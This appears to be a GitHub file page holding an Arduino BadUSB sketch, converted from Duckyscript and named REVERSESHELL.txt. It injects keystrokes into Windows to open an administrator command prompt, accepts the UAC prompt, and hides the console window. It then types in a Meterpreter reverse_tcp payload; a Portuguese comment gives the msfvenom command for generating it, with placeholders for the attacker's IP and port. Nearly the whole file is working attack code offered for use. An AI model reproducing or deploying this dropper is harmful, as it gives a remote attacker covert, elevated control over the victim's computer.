-
Notifications
You must be signed in to change notification settings - Fork 1
/
REVERSESHELL.txt
61 lines (47 loc) · 1.31 KB
/
REVERSESHELL.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <Keyboard.h>
/* Converted by Duckuino:
* https://forums.hak5.org/index.php?/topic/32719-payload-converter-duckuino-duckyscript-to-arduino/?p=244590
* Enjoy!
*/
void setup() {
Keyboard.begin();
delay(10000);
type(KEY_LEFT_GUI,false);
type('r',false);
Keyboard.releaseAll();
delay(750);
print(F("powershell Start-Process cmd -Verb runAs"));
type(KEY_RETURN,false);
delay(6000);
type(KEY_LEFT_ALT,false);
type('y',false);
Keyboard.releaseAll();
delay(750);
print(F("mode con?cols=14 lines=1"));
type(KEY_RETURN,false);
Keyboard.releaseAll();
type(KEY_LEFT_ALT,false);
Keyboard.releaseAll();
delay(100);
print(F("m"));
for(int i = 0; i < 5; i++) {
type(KEY_DOWN_ARROW,false);
Keyboard.releaseAll();
}
type(KEY_RETURN,false);
Keyboard.releaseAll();
//msfvenom -p windows/meterpreter/reverse_tcp LHOST=SEU IP LPORT=SUA PORTA -b "\x27\x5c\x2f\x3a" -f psh-cmd -o /shell -->comando pra gerar a payload abaixo
print(F(" COLAR AQUI O CODIGO GERADO PELO MSF VENOM "));
type(KEY_RETURN,false);
Keyboard.releaseAll();
Keyboard.end();
}
void type(int key, boolean release) {
Keyboard.press(key);
if(release)
Keyboard.release(key);
}
void print(const __FlashStringHelper *value) {
Keyboard.print(value);
}
void loop(){}